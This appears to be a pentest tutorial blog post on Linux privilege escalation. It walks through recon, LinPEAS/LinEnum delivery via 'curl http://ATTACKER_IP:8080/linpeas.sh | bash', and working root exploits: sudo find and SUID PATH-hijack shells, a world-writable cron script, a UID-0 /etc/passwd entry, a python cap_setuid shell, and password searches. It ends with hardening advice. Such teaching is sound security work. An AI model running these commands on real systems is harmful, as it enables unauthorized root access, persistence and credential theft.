Privilige Escalation in Linux (Basis with manual vuln explitation)


You’ve obtained a shell on the machine. The cursor blinks as the user www-data or some low-privileged account is active. There is one step between you and root, but this step could take anywhere from five minutes to five hours. It depends on your ability to read the system. I will go through Linux privilege escalation as I do in real-world pentests and CTFs: from the first command after gaining foothold to full root access, with specific commands, output analysis, and explanations for why each misconfiguration is dangerous.


What is Linux privilege escalation and why does it matter for penetration testers?

Linux privilege escalation is the process of gaining higher privileges within the system than those of the current user. In MITRE ATT&CK terminology, it is a full tactic, "Privilege Escalation," with dozens of techniques, from “Exploitation of Vulnerability in Sudo Configuration” (T1548) to “Sudo and Sudo Caching” (T1548.003).

In practice, privilege escalation is an essential step in any pentest. After obtaining initial access, the attacker sees the system from the perspective of an unprivileged user. To steal hashes from /etc/shadow, plant a backdoor, or continue laterally through the network, root access is required. Without privilege escalation, the pentest ends halfway, and the report will be weak.

Privilege escalation types:

  • Vertical: From a regular user to root (or another privileged account).

  • Horizontal: Switching to another user with the same privilege level but access to different data.

Here, the focus is on vertical escalation – from low-privileged to root.

Manual reconnaissance: first commands after foothold

Before running automation tools, I always conduct basic manual reconnaissance. Two minutes of work, but it makes LinPEAS output much more readable and meaningful, rather than just a wall of text. The commands below cover several MITRE ATT&CK Discovery techniques: whoami/id – System Owner/User Discovery (T1033), hostname/uname -a/cat /etc/os-release – System Information Discovery (T1082).

Who am I and where am I?

whoami          # Current user
id              # UID, GID, and groups - pay attention to docker, lxd, disk
hostname        # Hostname - often indicates the role of the server
uname -a        # Kernel and architecture - critical for kernel exploits
cat /etc/os-release  # Distribution and version

The output of id can immediately suggest a vector. If the user belongs to the docker, lxd, or disk groups – consider it half done. This is almost a guaranteed path to root without needing to exploit anything.

Checking sudo permissions

sudo -l         # Which commands can be executed via sudo
sudo -V         # Version of sudo - older versions may be vulnerable

The first command I run on any machine is sudo -l. If the output shows NOPASSWD and any binary from GTFOBins, you can go grab a coffee – root is already yours.

Finding SUID binaries

find / -perm -4000 -type f -ls 2>/dev/null

This command searches for all files with the SUID bit set. Any such file runs with the permissions of the file’s owner, not the current user. If the owner is root and the binary allows the execution of arbitrary commands, it’s a direct path to privilege escalation (T1548.001, Privilege Escalation / Defense Evasion).

Cron jobs and timers

cat /etc/crontab                        # System cron jobs
ls -la /etc/cron.d/                     # Additional cron configurations
ls -la /etc/cron.daily/ /etc/cron.hourly/  # Periodic tasks
systemctl list-timers --all 2>/dev/null  # systemd timers

Network and services

ip a                    # Network interfaces – look for dual-homed
ss -tlnp                # Listening ports – internal services
cat /etc/hosts          # Hosts file entries – can point to other machines

History and passwords

history                           # Commands from previous sessions
cat ~/.bash_history 2>/dev/null   # Bash history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -20
grep -ri "password" /etc/ 2>/dev/null | head -20

File and Directory Discovery (T1083), access to /etc/passwd and /etc/shadow (T1003.008, Credential Access), and searching for passwords in configuration files (T1552.001, Credential Access) – this is classic post-exploitation. It’s surprising how often passwords are left in plain text in configuration files.

LinPEAS: Automating reconnaissance for privilege escalation

LinPEAS (Linux Privilege Escalation Awesome Script) automates everything I’ve described above and adds hundreds of additional checks. I run it on every machine after manual reconnaissance because your eyes miss things: capabilities on binaries, writable PATH directories, token leaks in environment variables. LinPEAS finds these.

How to run LinPEAS

You are already on the target machine. Delivery methods depend on the situation:

Option 1 - via the attacker’s HTTP server:

# On the attacking machine (Kali/Parrot):
python3 -m http.server 8080

# On the target machine:
curl http://ATTACKER_IP:8080/linpeas.sh | bash

Option 2 - Download and run locally:

# On the target machine:
wget http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh

Option 3 - Run without saving the script to disk (partial stealth):

curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/linpeas_output.txt

The third option is useful because the script isn’t saved as a file, but the output is captured for analysis. Just don’t get too optimistic – this isn’t full stealth: the process is visible in /proc, and auditd will log it.

How to read LinPEAS output

LinPEAS uses color coding. Here's what really matters:

ColorMeaningAction
Red/YellowLikely a privilege escalation vector (95% probability)Exploit it – almost certainly a working vector
RedNeeds further investigation – may require additional conditionsDig deeper before exploiting
GreenInteresting information for further analysisRemember for later
BlueStandard system informationUse for context

Personally, I first scroll through all the output, picking out the red and yellow lines. These often indicate:

  • SUID binaries found in GTFOBins

  • Cron jobs running scripts with write permissions for everyone

  • Sudo rules with NOPASSWD for dangerous commands

  • Writable files in the PATH

  • Capabilities like cap_setuid on binaries

  • Passwords in configuration files

LinEnum: An alternative for Linux privilege escalation

LinEnum is another script for listing system information. It is less detailed than LinPEAS, but it works faster and provides clean, easily readable output. I use LinEnum when I need speed or when LinPEAS won’t run for some reason (which happens on restricted containers).

Running LinEnum

# Delivery is similar to LinPEAS:
wget http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t  # The -t flag enables extended checks

LinEnum collects information about users, file permissions, processes, packages, network configurations, cron jobs, logs, and software versions. The output is structured by sections, which makes it convenient for a quick run.


Comparison of automation tools

ToolPurposeColor CodingSpeedDepth
LinPEASFull privilege escalation auditYesMediumMaximum
LinEnumSystem information enumerationNoHighMedium
pspyProcess monitoring without rootNoReal-timeNarrow (processes)
Linux Exploit SuggesterKernel exploit searchNoHighNarrow (kernel)
Linux Smart EnumerationEnumeration with varying levels of detailPartiallyMediumCustomizable

pspy deserves special mention. It’s a tool for monitoring processes in real time without needing root privileges. It’s invaluable when a cron job runs on schedule but isn’t visible in /etc/crontab (e.g., user crontabs for other accounts). You start pspy, wait a few minutes, and you’ll see which processes are starting as root.

# Running pspy:
./pspy64  # for 64-bit systems
# or
./pspy32  # for 32-bit

Linux privilege escalation techniques: step-by-step examples

Theory is good, but without practice, it's just words. For each technique, there’s a scenario, commands, and an explanation of why it works.

Sudo misconfiguration: Abusing sudo privileges

The Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) technique is one of the most common vectors in CTFs and one of the most prevalent in real environments.

Step 1 - Check sudo permissions:

sudo -l

Example output:

User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/find

Step 2 - Check GTFOBins:

Go to GTFOBins and search for find. In the "Sudo" section:

sudo find . -exec /bin/bash \; -quit

Step 3 - Get root:

sudo find . -exec /bin/bash \; -quit
whoami
# root

Why does this work? The admin wanted to allow the user to search files, but find with the -exec flag executes any command. NOPASSWD means it won’t even ask for a password. Just one line in the sudoers file and the system is compromised.

Other dangerous binaries in sudo: vim, nano, less, awk, perl, python, ruby, env, man. If you see any of these in the sudo -l output, immediately check GTFOBins.

SUID bit in Linux: Exploiting binaries with setuid

The SUID bit (Set User ID upon execution) is a special permission that makes a file execute with the privileges of its owner. The technique Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion) is an effective method of privilege escalation.

Step 1 - Find SUID binaries:

find / -perm -4000 -type f -ls 2>/dev/null

Example output (truncated):

  131085   40 -rwsr-xr-x   1 root  root   40152 Jan 27  2020 /usr/bin/mount
  131090   44 -rwsr-xr-x   1 root  root   44784 Jan 27  2020 /usr/bin/newgrp
  131143   64 -rwsr-xr-x   1 root  root   63960 Feb  7  2020 /usr/bin/passwd
  262285   20 -rwsr-xr-x   1 root  root   16712 Sep  1  2020 /opt/custom-backup

Standard SUID binaries (mount, passwd, ping) are normal here. We are interested in non-standard ones: /opt/custom-backup – now that’s suspicious.

Step 2 - Analyze the non-standard binary:

file /opt/custom-backup
strings /opt/custom-backup | head -30
ltrace /opt/custom-backup 2>&1 | head -20  # If ltrace is available

If strings shows a call to an external command without a full path (just cp instead of /usr/bin/cp), it’s a potential vector for PATH manipulation. This works when the SUID binary calls a command via system() or popen() (which use shell and the PATH variable). If the binary uses execve() with an absolute path, this trick won’t work. You can verify this via ltrace or strace (if available).

Step 3 - Exploit via PATH:

# Create a malicious "cp" in /tmp:
echo '#!/bin/bash' > /tmp/cp
echo '/bin/bash -p' >> /tmp/cp
chmod +x /tmp/cp

# Modify PATH:
export PATH=/tmp:$PATH

# Run the SUID binary:
/opt/custom-backup
whoami
# root

The -p flag for bash is critical. Without it, bash would drop privileges. With -p, it preserves the effective UID set by SUID. For those unfamiliar: without this flag, bash would decide that you’re “not a real root” and would revert the privileges back.

Note: On modern distributions (Debian 12+, Ubuntu 22.04+), glibc secure execution mode (__libc_enable_secure) may reset environment variables (including PATH) for SUID processes, and system() might use /bin/sh → dash, which behaves differently. Check which shell system() uses and ensure the PATH isn’t being reset in the specific environment.

Cron Jobs Privilege Escalation: Exploiting scheduled tasks

Cron jobs are a favorite vector for pentesters. Admins often create backup scripts running as root but misconfigure the permissions on the scripts themselves. A classic case.

Step 1 - Find cron jobs:

cat /etc/crontab
ls -la /etc/cron.d/

Example output from /etc/crontab:

* * * * * root /opt/scripts/backup.sh

Step 2 - Check the script’s permissions:

ls -la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh

Permissions 777 mean it’s writable by everyone. The script runs every minute as root. No need to think much here.

Step 3 - Inject payload:

echo '#!/bin/bash' > /opt/scripts/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh

Step 4 - Wait a minute and get root:

# After a minute:
ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root

If the cron job isn’t visible in /etc/crontab, run pspy and monitor processes in real-time. User-specific crontabs are hidden from other accounts, but pspy will show their execution—it monitors /proc directly.

Kernel Exploit: Exploiting kernel vulnerabilities

The Exploitation for Privilege Escalation (T1068, Privilege Escalation) technique is the last resort when other vectors fail. Kernel exploits are unstable and can crash the system, so in a real pentest, they should be used cautiously (and with written client consent).

A classic example: CVE-2016-5195 (Dirty Cow). According to NVD: A race condition in mm/gup.c in Linux kernels 2.x–4.x up to 4.8.3 allows local users to escalate privileges via improper handling of copy-on-write (COW) when writing to read-only memory mappings. CVSS: 7.0 (HIGH), vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CWE: CWE-362 (Race Condition).

CVSS Vector Breakdown (so it doesn’t look like magic letters):

  • AV:L - Local attack, access to the system required

  • AC:H - High complexity (race condition – must catch the moment)

  • PR:L - Low privileges required

  • UI:N - User interaction not needed

Steps to search for kernel exploits:

# 1. Find the kernel version:
uname -r
# Example: 3.13.0-24-generic

# 2. Run Linux Exploit Suggester:
./linux-exploit-suggester.sh

# 3. Or search manually:
searchsploit linux kernel 3.13 privilege escalation

Linux Exploit Suggester evaluates the likelihood of success: Highly Probable, Probable, and Less Probable. Focus on the first category – the others are often more disappointing than not.

Writable /etc/passwd: Adding a root user

If the /etc/passwd file is writable (common in CTF machines and occasionally in real environments with sloppy hands), you can simply add a new user with UID 0.

# Check permissions:
ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd

# Generate a password hash (SHA-512, OpenSSL 1.1.1+; if -6 is unavailable, use -1 for MD5):
openssl passwd -6 -salt xyz password123
# $6$xyz$rD...hash...

# Add a user with UID 0:
echo 'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch user:
su hacker
# Enter password123
whoami
# root

This is a direct example of the Create Account: Local Account (T1136.001, Persistence) technique—adding a new user with UID 0 in the credentials file.


Here’s the next part:


Step-by-step chain: From shell to root

I’ll summarize everything into a single algorithm. This is how I work on a real machine:

Step 1 - Basic reconnaissance by hand:

whoami && id
uname -a
sudo -l
cat /etc/crontab
find / -perm -4000 -type f -ls 2>/dev/null

If sudo -l provides a vector, exploit it immediately via GTFOBins. If you find a non-standard SUID binary, analyze it. If there’s a writable cron job, modify it. At this stage, 60% of CTF machines are already solved.

Step 2 - Run LinPEAS:

curl http://ATTACKER_IP:8080/linpeas.sh | bash | tee /tmp/lp.txt

Look for red-yellow markers. Check everything that LinPEAS marked as a high-probability vector. Pay attention to capabilities (getcap -r / 2>/dev/null), writable directories in PATH, and config files containing passwords.

Step 3 - Monitoring and deep analysis:

# If nothing was found - run pspy:
./pspy64

# At the same time, search for passwords:
grep -ri "pass\|pwd\|credential" /var/www/ /opt/ /home/ 2>/dev/null
find / -name "*.bak" -o -name "*.old" -o -name "*.conf" 2>/dev/null | xargs grep -li "password" 2>/dev/null

Only if the previous steps don’t yield results, proceed to kernel exploits. Check the kernel version using Linux Exploit Suggester and search for a suitable exploit. This should be the last resort, not the first.


How automation compares to manual analysis

According to the study by Happe and Cito (2023), "LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks" (arxiv.org), GPT-4-Turbo successfully exploited between 33% to 83% of vulnerabilities in benchmark privilege escalation tests—comparable to results from professional penetration testers (75%). However, even advanced models stumbled at multi-step exploitation: for instance, they couldn’t link a found SUID binary to the need to check it in GTFOBins.

What does this mean in practice? LinPEAS and LinEnum don’t replace a thinking pentester. The script shows data, but connecting findings into a working chain is your job. LinPEAS may flag /usr/bin/python3 with the capability cap_setuid in red, but converting this finding into a root shell is up to you:

# Example: Python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Protection and Linux hardening: What to close off

Understanding attacks leads to understanding defenses. Here are some specific recommendations:

Attack VectorProtection Measure
Sudo misconfigurationNever give sudo to shell interpreters, editors, find, awk. Only specific commands with full path.
SUID on non-standard binariesRegularly audit: find / -perm -4000 -type f -ls. Remove the SUID bit from unnecessary files: chmod u-s /path/to/binary.
Writable cron scriptsOwner should be root, permissions 700 or 755. Never 777.
Outdated kernelKeep the kernel updated. Use livepatch for critical systems that cannot be rebooted.
Passwords in config filesUse Vault systems (HashiCorp Vault, ansible-vault). File permissions: 600, owner should be service account.
Writable /etc/passwdPermissions: /etc/passwd - 644, /etc/shadow - 640. Monitor changes via auditd.